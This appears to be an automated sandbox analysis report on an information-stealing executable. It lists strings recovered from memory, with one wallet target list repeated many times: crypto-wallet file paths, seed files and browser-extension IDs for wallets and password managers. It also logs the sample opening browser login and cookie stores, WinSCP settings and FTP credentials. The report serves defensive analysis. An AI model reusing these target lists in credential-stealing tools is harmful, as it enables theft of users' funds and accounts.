Source: build_2024-07-25_20-56.exe, 0000000A.00000002.3351695759.0000000000438000.00000040.00000001.01000000.0000000A.sdmp String found in binary or memory: tWasabi\Client\Wallets\|*.json|0|Ethereum|1|\Ethereum\|keystore|0|Electrum|1|\Electrum\wallets\|*.*|0|ElectrumLTC|1|\Electrum-LTC\wallets\|*.*|0|Exodus|1|\Exodus\|exodus.conf.json|0|Exodus|1|\Exodus\|window-state.json|0|Exodus|1|\Exodus\exodus.wallet\|passphrase.json|0|Exodus|1|\Exodus\exodus.wallet\|seed.seco|0|Exodus|1|\Exodus\exodus.wallet\|info.seco|0|Exodus|1|\Exodus\backups\|*.*|1|Electron Cash|1|\ElectronCash\wallets\|*.*|0|MultiDoge|1|\MultiDoge\|multidoge.wallet|0|Atomic|1|\atomic\Local Storage\leveldb\|*.*|0|Binance|1|\Binance\|app-store.json|0|Binance|1|\Binance\|simple-storage.json|0|Binance|1|\Binance\|.finger-print.fp|0|Coinomi|0|\Coinomi\Coinomi\wallets\|*.wallet|0|Coinomi|0|\Coinomi\Coinomi\wallets\|*.config|0|Ledger Live\Local Storage\leveldb|1|\Ledger Live\Local Storage\leveldb\|*.*|0|Ledger Live\Session Storage|1|\Ledger Live\Session Storage\|*.*|0|Ledger Live|1|\Ledger Live\|*.*|0|Chia Wallet|2|\.chia\mainnet\config\|*.*|0|Chia Wallet|2|\.chia\mainnet\run\|*.*|0|Chia Wallet|2|\.chia\mainnet\wallet\|*.sqlite|0|Komodo Wallet (Atomic)\config|1|\atomic_qt\config\|*.*|0|Komodo Wallet (Atomic)\exports|1|\atomic_qt\exports\|*.*|0|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb|1|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|*.*|0|Guarda Desktop\Local Storage\leveldb|1|\Guarda\Local Storage\leveldb\|*.*|0|
Source: build_2024-07-25_20-56.exe, 0000000A.00000002.3351695759.0000000000438000.00000040.00000001.01000000.0000000A.sdmp String found in binary or memory: tWasabi\Client\Wallets\|*.json|0|Ethereum|1|\Ethereum\|keystore|0|Electrum|1|\Electrum\wallets\|*.*|0|ElectrumLTC|1|\Electrum-LTC\wallets\|*.*|0|Exodus|1|\Exodus\|exodus.conf.json|0|Exodus|1|\Exodus\|window-state.json|0|Exodus|1|\Exodus\exodus.wallet\|passphrase.json|0|Exodus|1|\Exodus\exodus.wallet\|seed.seco|0|Exodus|1|\Exodus\exodus.wallet\|info.seco|0|Exodus|1|\Exodus\backups\|*.*|1|Electron Cash|1|\ElectronCash\wallets\|*.*|0|MultiDoge|1|\MultiDoge\|multidoge.wallet|0|Atomic|1|\atomic\Local Storage\leveldb\|*.*|0|Binance|1|\Binance\|app-store.json|0|Binance|1|\Binance\|simple-storage.json|0|Binance|1|\Binance\|.finger-print.fp|0|Coinomi|0|\Coinomi\Coinomi\wallets\|*.wallet|0|Coinomi|0|\Coinomi\Coinomi\wallets\|*.config|0|Ledger Live\Local Storage\leveldb|1|\Ledger Live\Local Storage\leveldb\|*.*|0|Ledger Live\Session Storage|1|\Ledger Live\Session Storage\|*.*|0|Ledger Live|1|\Ledger Live\|*.*|0|Chia Wallet|2|\.chia\mainnet\config\|*.*|0|Chia Wallet|2|\.chia\mainnet\run\|*.*|0|Chia Wallet|2|\.chia\mainnet\wallet\|*.sqlite|0|Komodo Wallet (Atomic)\config|1|\atomic_qt\config\|*.*|0|Komodo Wallet (Atomic)\exports|1|\atomic_qt\exports\|*.*|0|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb|1|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|*.*|0|Guarda Desktop\Local Storage\leveldb|1|\Guarda\Local Storage\leveldb\|*.*|0|
Source: build_2024-07-25_20-56.exe, 0000000A.00000002.3351695759.0000000000438000.00000040.00000001.01000000.0000000A.sdmp String found in binary or memory: tWasabi\Client\Wallets\|*.json|0|Ethereum|1|\Ethereum\|keystore|0|Electrum|1|\Electrum\wallets\|*.*|0|ElectrumLTC|1|\Electrum-LTC\wallets\|*.*|0|Exodus|1|\Exodus\|exodus.conf.json|0|Exodus|1|\Exodus\|window-state.json|0|Exodus|1|\Exodus\exodus.wallet\|passphrase.json|0|Exodus|1|\Exodus\exodus.wallet\|seed.seco|0|Exodus|1|\Exodus\exodus.wallet\|info.seco|0|Exodus|1|\Exodus\backups\|*.*|1|Electron Cash|1|\ElectronCash\wallets\|*.*|0|MultiDoge|1|\MultiDoge\|multidoge.wallet|0|Atomic|1|\atomic\Local Storage\leveldb\|*.*|0|Binance|1|\Binance\|app-store.json|0|Binance|1|\Binance\|simple-storage.json|0|Binance|1|\Binance\|.finger-print.fp|0|Coinomi|0|\Coinomi\Coinomi\wallets\|*.wallet|0|Coinomi|0|\Coinomi\Coinomi\wallets\|*.config|0|Ledger Live\Local Storage\leveldb|1|\Ledger Live\Local Storage\leveldb\|*.*|0|Ledger Live\Session Storage|1|\Ledger Live\Session Storage\|*.*|0|Ledger Live|1|\Ledger Live\|*.*|0|Chia Wallet|2|\.chia\mainnet\config\|*.*|0|Chia Wallet|2|\.chia\mainnet\run\|*.*|0|Chia Wallet|2|\.chia\mainnet\wallet\|*.sqlite|0|Komodo Wallet (Atomic)\config|1|\atomic_qt\config\|*.*|0|Komodo Wallet (Atomic)\exports|1|\atomic_qt\exports\|*.*|0|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb|1|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|*.*|0|Guarda Desktop\Local Storage\leveldb|1|\Guarda\Local Storage\leveldb\|*.*|0|
Source: build_2024-07-25_20-56.exe, 0000000A.00000002.3351695759.0000000000438000.00000040.00000001.01000000.0000000A.sdmp String found in binary or memory: tWasabi\Client\Wallets\|*.json|0|Ethereum|1|\Ethereum\|keystore|0|Electrum|1|\Electrum\wallets\|*.*|0|ElectrumLTC|1|\Electrum-LTC\wallets\|*.*|0|Exodus|1|\Exodus\|exodus.conf.json|0|Exodus|1|\Exodus\|window-state.json|0|Exodus|1|\Exodus\exodus.wallet\|passphrase.json|0|Exodus|1|\Exodus\exodus.wallet\|seed.seco|0|Exodus|1|\Exodus\exodus.wallet\|info.seco|0|Exodus|1|\Exodus\backups\|*.*|1|Electron Cash|1|\ElectronCash\wallets\|*.*|0|MultiDoge|1|\MultiDoge\|multidoge.wallet|0|Atomic|1|\atomic\Local Storage\leveldb\|*.*|0|Binance|1|\Binance\|app-store.json|0|Binance|1|\Binance\|simple-storage.json|0|Binance|1|\Binance\|.finger-print.fp|0|Coinomi|0|\Coinomi\Coinomi\wallets\|*.wallet|0|Coinomi|0|\Coinomi\Coinomi\wallets\|*.config|0|Ledger Live\Local Storage\leveldb|1|\Ledger Live\Local Storage\leveldb\|*.*|0|Ledger Live\Session Storage|1|\Ledger Live\Session Storage\|*.*|0|Ledger Live|1|\Ledger Live\|*.*|0|Chia Wallet|2|\.chia\mainnet\config\|*.*|0|Chia Wallet|2|\.chia\mainnet\run\|*.*|0|Chia Wallet|2|\.chia\mainnet\wallet\|*.sqlite|0|Komodo Wallet (Atomic)\config|1|\atomic_qt\config\|*.*|0|Komodo Wallet (Atomic)\exports|1|\atomic_qt\exports\|*.*|0|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb|1|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|*.*|0|Guarda Desktop\Local Storage\leveldb|1|\Guarda\Local Storage\leveldb\|*.*|0|
Source: build_2024-07-25_20-56.exe, 0000000A.00000002.3351695759.0000000000438000.00000040.00000001.01000000.0000000A.sdmp String found in binary or memory: tWasabi\Client\Wallets\|*.json|0|Ethereum|1|\Ethereum\|keystore|0|Electrum|1|\Electrum\wallets\|*.*|0|ElectrumLTC|1|\Electrum-LTC\wallets\|*.*|0|Exodus|1|\Exodus\|exodus.conf.json|0|Exodus|1|\Exodus\|window-state.json|0|Exodus|1|\Exodus\exodus.wallet\|passphrase.json|0|Exodus|1|\Exodus\exodus.wallet\|seed.seco|0|Exodus|1|\Exodus\exodus.wallet\|info.seco|0|Exodus|1|\Exodus\backups\|*.*|1|Electron Cash|1|\ElectronCash\wallets\|*.*|0|MultiDoge|1|\MultiDoge\|multidoge.wallet|0|Atomic|1|\atomic\Local Storage\leveldb\|*.*|0|Binance|1|\Binance\|app-store.json|0|Binance|1|\Binance\|simple-storage.json|0|Binance|1|\Binance\|.finger-print.fp|0|Coinomi|0|\Coinomi\Coinomi\wallets\|*.wallet|0|Coinomi|0|\Coinomi\Coinomi\wallets\|*.config|0|Ledger Live\Local Storage\leveldb|1|\Ledger Live\Local Storage\leveldb\|*.*|0|Ledger Live\Session Storage|1|\Ledger Live\Session Storage\|*.*|0|Ledger Live|1|\Ledger Live\|*.*|0|Chia Wallet|2|\.chia\mainnet\config\|*.*|0|Chia Wallet|2|\.chia\mainnet\run\|*.*|0|Chia Wallet|2|\.chia\mainnet\wallet\|*.sqlite|0|Komodo Wallet (Atomic)\config|1|\atomic_qt\config\|*.*|0|Komodo Wallet (Atomic)\exports|1|\atomic_qt\exports\|*.*|0|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb|1|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|*.*|0|Guarda Desktop\Local Storage\leveldb|1|\Guarda\Local Storage\leveldb\|*.*|0|
Source: build_2024-07-25_20-56.exe, 0000000A.00000002.3355278855.000000000254F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: MetaMask|1|nkbihfbeogaeaoehlefnkodbefgpgknn|1|0|0|MetaMask|1|djclckkglechooblngghdinmeemkbgci|1|0|0|MetaMask|1|ejbalbakoplchlghecdalmeeeajnimhm|1|0|0|TronLink|1|ibnejdfjmmkpcnlpebklmnkoeoihofec|1|0|0|BinanceChainWallet|1|fhbohimaelbohpjbbldcngcnapndodjp|1|1|0|Yoroi|1|ffnbelfdoeiohenkjibnmadjiehjhajb|1|0|0|Coinbase|1|hnfanknocfeofbddgcijnmhnfnkdnaad|1|0|1|Guarda|1|hpglfhgfnhbgpjdenjgmdgoeiappafln|1|0|1|iWallet|1|kncchdigobghenbbaddojjnnaogfppfj|1|0|0|RoninWallet|1|fnjhmkhhmkbjkkabndcnnogagogbneec|1|0|0|NeoLine|1|cphhlgmgameodnhkjdmkpanlelnlohao|1|0|0|CloverWallet|1|nhnkbkgjikgcigadomkphalanndcapjk|1|0|0|LiqualityWallet|1|kpfopkelmapcoipemfendmdcghnegimn|1|0|0|Terra_Station|1|aiifbnbfobpmeekipheeijimdpnlpgpp|1|0|0|Keplr|1|dmkamcknogkgcdfhhbddcghachkejeap|1|0|0|AuroWallet|1|cnmamaachppnkjgnildpdmkaakejnhae|1|0|0|PolymeshWallet|1|jojhfeoedkpkglbfimdfabpdfjaoolaf|1|0|0|ICONex|1|flpiciilemghbmfalicajoolhkkenfel|1|0|0|Coin98|1|aeachknmefphepccionboohckonoeemg|1|0|0|EVER Wallet|1|cgeeodpfagjceefieflmdfphplkenlfk|1|0|0|KardiaChain|1|pdadjkfkgcafgbceimcpbkalnfnepbnk|1|0|0|Rabby|1|acmacodkjbdgmoleebolmdjonilkdbch|1|0|0|Phantom|1|bfnaelmomeimhlpmgjnjophhpkkoljpa|1|0|0|Oxygen (Atomic)|1|fhilaheimglignddkjgofkcbgekhenbh|1|0|0|PaliWallet|1|mgffkfbidihjpoaomajlbgchddlicgpn|1|0|0|NamiWallet|1|lpfcbjknijpeeillifnkikgncikgfhdo|1|0|0|Solflare|1|bhhhlbepdkbapadjdnnojkbgioiodbic|1|0|0|CyanoWallet|1|dkdedlpgdmmkkfjabffeganieamfklkm|1|0|0|KHC|1|hcflpincpppdclinealmandijcmnkbgn|1|0|0|TezBox|1|mnfifefkajgofkcjkemidiaecocnkjeh|1|0|0|Goby|1|jnkelfanjkeadonecabehalmbgpfodjm|1|0|0|RoninWalletEdge|1|kjmoohlgokccodicjjfebfomlbljgfhk|1|0|0|UniSat Wallet|1|ppbibelpcjmhbdihakflkdcoccbgbkpo|1|0|0|Authenticator|0|bhghoamapcdpbohphigoooaddinpkbai|1|1|0|GAuth Authenticator|0|ilgcnhelpchnceeipipijaljkblbcobl|1|1|1|Tronium|1|pnndplcbkakcplkjnolgbkdgjikjednm|1|0|0|Trust Wallet|1|egjidjbpglichdcondbcbdnbeeppgdph|1|0|0|Exodus Web3 Wallet|1|aholpfdialjgjfhomihkjbmgjidlcdno|1|0|0|Braavos|1|jnlgamecbpmbajjfhmmmlhejkemejdma|1|0|0|Enkrypt|1|kkpllkodjeloidieedojogacfhpaihoh|1|0|0|OKX Web3 Wallet|1|mcohilncbfahbmgdjkbpemcciiolgcge|1|0|0|Sender|1|epapihdplajcdnnkdeiahlgigofloibg|1|0|0|Hashpack|1|gjagmgiddbbciopjhllkdnddhcglnemk|1|0|0|GeroWallet|1|bgpipimickeadkjlklgciifhnalhdjhe|1|0|0|Pontem Wallet|1|phkbamefinggmakgklpkljjmgibohnba|1|0|0|Finnie|1|cjmkndjhnagcfbpiemnkdpomccnjblmj|1|0|0|Leap Terra|1|aijcbedoijmgnlmjeegjaglmepbmpkpi|1|0|0|Microsoft AutoFill|0|fiedbfgcleddlbcmgdigjgdfcggjcion|1|0|0|Bitwarden|0|nngceckbapebfimnlniiiahkandclblb|1|0|0|KeePass Tusk|0|fmhmiaejopepamlcjkncpgpdjichnecm|1|0|0|KeePassXC-Browser|0|oboonakemofpalcgghocfoadofidjkkk|1|0|0|Rise - Aptos Wallet|1|hbbgbephgojikajhfbomhlmmollphcad|1|0|0|Rainbow Wallet|1|opfgelmcmbiajamepnmloijbpoleiama|1|0|0|Nightly|1|fiikommddbeccaoicoejoniammnalkfa|1|0|0|Ecto Wallet|1|bgjogpoidejdemgoochpnkmdjpocgkha|1|0|0|Coinhub|1|jgaaimajipbpdogpdglhaphldakikgef|1|0|0|Leap Cosmos Wallet|1|fcfcfllfndlomdhbehjjcoimbgofdncg|1|0|0|MultiversX DeFi Wal
Source: build_2024-07-25_20-56.exe, 0000000A.00000002.3363786257.000000001902E000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Binance\.finger-print.fp
Source: build_2024-07-25_20-56.exe, 0000000A.00000002.3351695759.0000000000438000.00000040.00000001.01000000.0000000A.sdmp String found in binary or memory: tWasabi\Client\Wallets\|*.json|0|Ethereum|1|\Ethereum\|keystore|0|Electrum|1|\Electrum\wallets\|*.*|0|ElectrumLTC|1|\Electrum-LTC\wallets\|*.*|0|Exodus|1|\Exodus\|exodus.conf.json|0|Exodus|1|\Exodus\|window-state.json|0|Exodus|1|\Exodus\exodus.wallet\|passphrase.json|0|Exodus|1|\Exodus\exodus.wallet\|seed.seco|0|Exodus|1|\Exodus\exodus.wallet\|info.seco|0|Exodus|1|\Exodus\backups\|*.*|1|Electron Cash|1|\ElectronCash\wallets\|*.*|0|MultiDoge|1|\MultiDoge\|multidoge.wallet|0|Atomic|1|\atomic\Local Storage\leveldb\|*.*|0|Binance|1|\Binance\|app-store.json|0|Binance|1|\Binance\|simple-storage.json|0|Binance|1|\Binance\|.finger-print.fp|0|Coinomi|0|\Coinomi\Coinomi\wallets\|*.wallet|0|Coinomi|0|\Coinomi\Coinomi\wallets\|*.config|0|Ledger Live\Local Storage\leveldb|1|\Ledger Live\Local Storage\leveldb\|*.*|0|Ledger Live\Session Storage|1|\Ledger Live\Session Storage\|*.*|0|Ledger Live|1|\Ledger Live\|*.*|0|Chia Wallet|2|\.chia\mainnet\config\|*.*|0|Chia Wallet|2|\.chia\mainnet\run\|*.*|0|Chia Wallet|2|\.chia\mainnet\wallet\|*.sqlite|0|Komodo Wallet (Atomic)\config|1|\atomic_qt\config\|*.*|0|Komodo Wallet (Atomic)\exports|1|\atomic_qt\exports\|*.*|0|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb|1|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|*.*|0|Guarda Desktop\Local Storage\leveldb|1|\Guarda\Local Storage\leveldb\|*.*|0|
Source: build_2024-07-25_20-56.exe, 0000000A.00000002.3351695759.0000000000438000.00000040.00000001.01000000.0000000A.sdmp String found in binary or memory: tWasabi\Client\Wallets\|*.json|0|Ethereum|1|\Ethereum\|keystore|0|Electrum|1|\Electrum\wallets\|*.*|0|ElectrumLTC|1|\Electrum-LTC\wallets\|*.*|0|Exodus|1|\Exodus\|exodus.conf.json|0|Exodus|1|\Exodus\|window-state.json|0|Exodus|1|\Exodus\exodus.wallet\|passphrase.json|0|Exodus|1|\Exodus\exodus.wallet\|seed.seco|0|Exodus|1|\Exodus\exodus.wallet\|info.seco|0|Exodus|1|\Exodus\backups\|*.*|1|Electron Cash|1|\ElectronCash\wallets\|*.*|0|MultiDoge|1|\MultiDoge\|multidoge.wallet|0|Atomic|1|\atomic\Local Storage\leveldb\|*.*|0|Binance|1|\Binance\|app-store.json|0|Binance|1|\Binance\|simple-storage.json|0|Binance|1|\Binance\|.finger-print.fp|0|Coinomi|0|\Coinomi\Coinomi\wallets\|*.wallet|0|Coinomi|0|\Coinomi\Coinomi\wallets\|*.config|0|Ledger Live\Local Storage\leveldb|1|\Ledger Live\Local Storage\leveldb\|*.*|0|Ledger Live\Session Storage|1|\Ledger Live\Session Storage\|*.*|0|Ledger Live|1|\Ledger Live\|*.*|0|Chia Wallet|2|\.chia\mainnet\config\|*.*|0|Chia Wallet|2|\.chia\mainnet\run\|*.*|0|Chia Wallet|2|\.chia\mainnet\wallet\|*.sqlite|0|Komodo Wallet (Atomic)\config|1|\atomic_qt\config\|*.*|0|Komodo Wallet (Atomic)\exports|1|\atomic_qt\exports\|*.*|0|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb|1|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|*.*|0|Guarda Desktop\Local Storage\leveldb|1|\Guarda\Local Storage\leveldb\|*.*|0|
Source: build_2024-07-25_20-56.exe, 0000000A.00000002.3351695759.0000000000438000.00000040.00000001.01000000.0000000A.sdmp String found in binary or memory: tWasabi\Client\Wallets\|*.json|0|Ethereum|1|\Ethereum\|keystore|0|Electrum|1|\Electrum\wallets\|*.*|0|ElectrumLTC|1|\Electrum-LTC\wallets\|*.*|0|Exodus|1|\Exodus\|exodus.conf.json|0|Exodus|1|\Exodus\|window-state.json|0|Exodus|1|\Exodus\exodus.wallet\|passphrase.json|0|Exodus|1|\Exodus\exodus.wallet\|seed.seco|0|Exodus|1|\Exodus\exodus.wallet\|info.seco|0|Exodus|1|\Exodus\backups\|*.*|1|Electron Cash|1|\ElectronCash\wallets\|*.*|0|MultiDoge|1|\MultiDoge\|multidoge.wallet|0|Atomic|1|\atomic\Local Storage\leveldb\|*.*|0|Binance|1|\Binance\|app-store.json|0|Binance|1|\Binance\|simple-storage.json|0|Binance|1|\Binance\|.finger-print.fp|0|Coinomi|0|\Coinomi\Coinomi\wallets\|*.wallet|0|Coinomi|0|\Coinomi\Coinomi\wallets\|*.config|0|Ledger Live\Local Storage\leveldb|1|\Ledger Live\Local Storage\leveldb\|*.*|0|Ledger Live\Session Storage|1|\Ledger Live\Session Storage\|*.*|0|Ledger Live|1|\Ledger Live\|*.*|0|Chia Wallet|2|\.chia\mainnet\config\|*.*|0|Chia Wallet|2|\.chia\mainnet\run\|*.*|0|Chia Wallet|2|\.chia\mainnet\wallet\|*.sqlite|0|Komodo Wallet (Atomic)\config|1|\atomic_qt\config\|*.*|0|Komodo Wallet (Atomic)\exports|1|\atomic_qt\exports\|*.*|0|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb|1|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|*.*|0|Guarda Desktop\Local Storage\leveldb|1|\Guarda\Local Storage\leveldb\|*.*|0|
Source: build_2024-07-25_20-56.exe, 0000000A.00000002.3351695759.0000000000438000.00000040.00000001.01000000.0000000A.sdmp String found in binary or memory: tWasabi\Client\Wallets\|*.json|0|Ethereum|1|\Ethereum\|keystore|0|Electrum|1|\Electrum\wallets\|*.*|0|ElectrumLTC|1|\Electrum-LTC\wallets\|*.*|0|Exodus|1|\Exodus\|exodus.conf.json|0|Exodus|1|\Exodus\|window-state.json|0|Exodus|1|\Exodus\exodus.wallet\|passphrase.json|0|Exodus|1|\Exodus\exodus.wallet\|seed.seco|0|Exodus|1|\Exodus\exodus.wallet\|info.seco|0|Exodus|1|\Exodus\backups\|*.*|1|Electron Cash|1|\ElectronCash\wallets\|*.*|0|MultiDoge|1|\MultiDoge\|multidoge.wallet|0|Atomic|1|\atomic\Local Storage\leveldb\|*.*|0|Binance|1|\Binance\|app-store.json|0|Binance|1|\Binance\|simple-storage.json|0|Binance|1|\Binance\|.finger-print.fp|0|Coinomi|0|\Coinomi\Coinomi\wallets\|*.wallet|0|Coinomi|0|\Coinomi\Coinomi\wallets\|*.config|0|Ledger Live\Local Storage\leveldb|1|\Ledger Live\Local Storage\leveldb\|*.*|0|Ledger Live\Session Storage|1|\Ledger Live\Session Storage\|*.*|0|Ledger Live|1|\Ledger Live\|*.*|0|Chia Wallet|2|\.chia\mainnet\config\|*.*|0|Chia Wallet|2|\.chia\mainnet\run\|*.*|0|Chia Wallet|2|\.chia\mainnet\wallet\|*.sqlite|0|Komodo Wallet (Atomic)\config|1|\atomic_qt\config\|*.*|0|Komodo Wallet (Atomic)\exports|1|\atomic_qt\exports\|*.*|0|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb|1|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|*.*|0|Guarda Desktop\Local Storage\leveldb|1|\Guarda\Local Storage\leveldb\|*.*|0|
Source: build_2024-07-25_20-56.exe, 0000000A.00000002.3351695759.0000000000438000.00000040.00000001.01000000.0000000A.sdmp String found in binary or memory: tWasabi\Client\Wallets\|*.json|0|Ethereum|1|\Ethereum\|keystore|0|Electrum|1|\Electrum\wallets\|*.*|0|ElectrumLTC|1|\Electrum-LTC\wallets\|*.*|0|Exodus|1|\Exodus\|exodus.conf.json|0|Exodus|1|\Exodus\|window-state.json|0|Exodus|1|\Exodus\exodus.wallet\|passphrase.json|0|Exodus|1|\Exodus\exodus.wallet\|seed.seco|0|Exodus|1|\Exodus\exodus.wallet\|info.seco|0|Exodus|1|\Exodus\backups\|*.*|1|Electron Cash|1|\ElectronCash\wallets\|*.*|0|MultiDoge|1|\MultiDoge\|multidoge.wallet|0|Atomic|1|\atomic\Local Storage\leveldb\|*.*|0|Binance|1|\Binance\|app-store.json|0|Binance|1|\Binance\|simple-storage.json|0|Binance|1|\Binance\|.finger-print.fp|0|Coinomi|0|\Coinomi\Coinomi\wallets\|*.wallet|0|Coinomi|0|\Coinomi\Coinomi\wallets\|*.config|0|Ledger Live\Local Storage\leveldb|1|\Ledger Live\Local Storage\leveldb\|*.*|0|Ledger Live\Session Storage|1|\Ledger Live\Session Storage\|*.*|0|Ledger Live|1|\Ledger Live\|*.*|0|Chia Wallet|2|\.chia\mainnet\config\|*.*|0|Chia Wallet|2|\.chia\mainnet\run\|*.*|0|Chia Wallet|2|\.chia\mainnet\wallet\|*.sqlite|0|Komodo Wallet (Atomic)\config|1|\atomic_qt\config\|*.*|0|Komodo Wallet (Atomic)\exports|1|\atomic_qt\exports\|*.*|0|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb|1|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|*.*|0|Guarda Desktop\Local Storage\leveldb|1|\Guarda\Local Storage\leveldb\|*.*|0|
Source: build_2024-07-25_20-56.exe, 0000000A.00000002.3351695759.0000000000438000.00000040.00000001.01000000.0000000A.sdmp String found in binary or memory: tWasabi\Client\Wallets\|*.json|0|Ethereum|1|\Ethereum\|keystore|0|Electrum|1|\Electrum\wallets\|*.*|0|ElectrumLTC|1|\Electrum-LTC\wallets\|*.*|0|Exodus|1|\Exodus\|exodus.conf.json|0|Exodus|1|\Exodus\|window-state.json|0|Exodus|1|\Exodus\exodus.wallet\|passphrase.json|0|Exodus|1|\Exodus\exodus.wallet\|seed.seco|0|Exodus|1|\Exodus\exodus.wallet\|info.seco|0|Exodus|1|\Exodus\backups\|*.*|1|Electron Cash|1|\ElectronCash\wallets\|*.*|0|MultiDoge|1|\MultiDoge\|multidoge.wallet|0|Atomic|1|\atomic\Local Storage\leveldb\|*.*|0|Binance|1|\Binance\|app-store.json|0|Binance|1|\Binance\|simple-storage.json|0|Binance|1|\Binance\|.finger-print.fp|0|Coinomi|0|\Coinomi\Coinomi\wallets\|*.wallet|0|Coinomi|0|\Coinomi\Coinomi\wallets\|*.config|0|Ledger Live\Local Storage\leveldb|1|\Ledger Live\Local Storage\leveldb\|*.*|0|Ledger Live\Session Storage|1|\Ledger Live\Session Storage\|*.*|0|Ledger Live|1|\Ledger Live\|*.*|0|Chia Wallet|2|\.chia\mainnet\config\|*.*|0|Chia Wallet|2|\.chia\mainnet\run\|*.*|0|Chia Wallet|2|\.chia\mainnet\wallet\|*.sqlite|0|Komodo Wallet (Atomic)\config|1|\atomic_qt\config\|*.*|0|Komodo Wallet (Atomic)\exports|1|\atomic_qt\exports\|*.*|0|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb|1|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|*.*|0|Guarda Desktop\Local Storage\leveldb|1|\Guarda\Local Storage\leveldb\|*.*|0|
Source: build_2024-07-25_20-56.exe, 0000000A.00000002.3351695759.0000000000438000.00000040.00000001.01000000.0000000A.sdmp String found in binary or memory: tWasabi\Client\Wallets\|*.json|0|Ethereum|1|\Ethereum\|keystore|0|Electrum|1|\Electrum\wallets\|*.*|0|ElectrumLTC|1|\Electrum-LTC\wallets\|*.*|0|Exodus|1|\Exodus\|exodus.conf.json|0|Exodus|1|\Exodus\|window-state.json|0|Exodus|1|\Exodus\exodus.wallet\|passphrase.json|0|Exodus|1|\Exodus\exodus.wallet\|seed.seco|0|Exodus|1|\Exodus\exodus.wallet\|info.seco|0|Exodus|1|\Exodus\backups\|*.*|1|Electron Cash|1|\ElectronCash\wallets\|*.*|0|MultiDoge|1|\MultiDoge\|multidoge.wallet|0|Atomic|1|\atomic\Local Storage\leveldb\|*.*|0|Binance|1|\Binance\|app-store.json|0|Binance|1|\Binance\|simple-storage.json|0|Binance|1|\Binance\|.finger-print.fp|0|Coinomi|0|\Coinomi\Coinomi\wallets\|*.wallet|0|Coinomi|0|\Coinomi\Coinomi\wallets\|*.config|0|Ledger Live\Local Storage\leveldb|1|\Ledger Live\Local Storage\leveldb\|*.*|0|Ledger Live\Session Storage|1|\Ledger Live\Session Storage\|*.*|0|Ledger Live|1|\Ledger Live\|*.*|0|Chia Wallet|2|\.chia\mainnet\config\|*.*|0|Chia Wallet|2|\.chia\mainnet\run\|*.*|0|Chia Wallet|2|\.chia\mainnet\wallet\|*.sqlite|0|Komodo Wallet (Atomic)\config|1|\atomic_qt\config\|*.*|0|Komodo Wallet (Atomic)\exports|1|\atomic_qt\exports\|*.*|0|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb|1|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|*.*|0|Guarda Desktop\Local Storage\leveldb|1|\Guarda\Local Storage\leveldb\|*.*|0|
Tries to harvest and steal Bitcoin Wallet information
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core Jump to behavior
Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe Key opened: HKEY_CURRENT_USER\Software\Martin Prikryl\WinSCP 2\Configuration Jump to behavior
Tries to harvest and steal browser information (history, passwords, etc)
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\prefs.js Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000020001\build_2024-07-25_20-56.exe File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History Jump to behavior
Tries to harvest and steal ftp login credentials
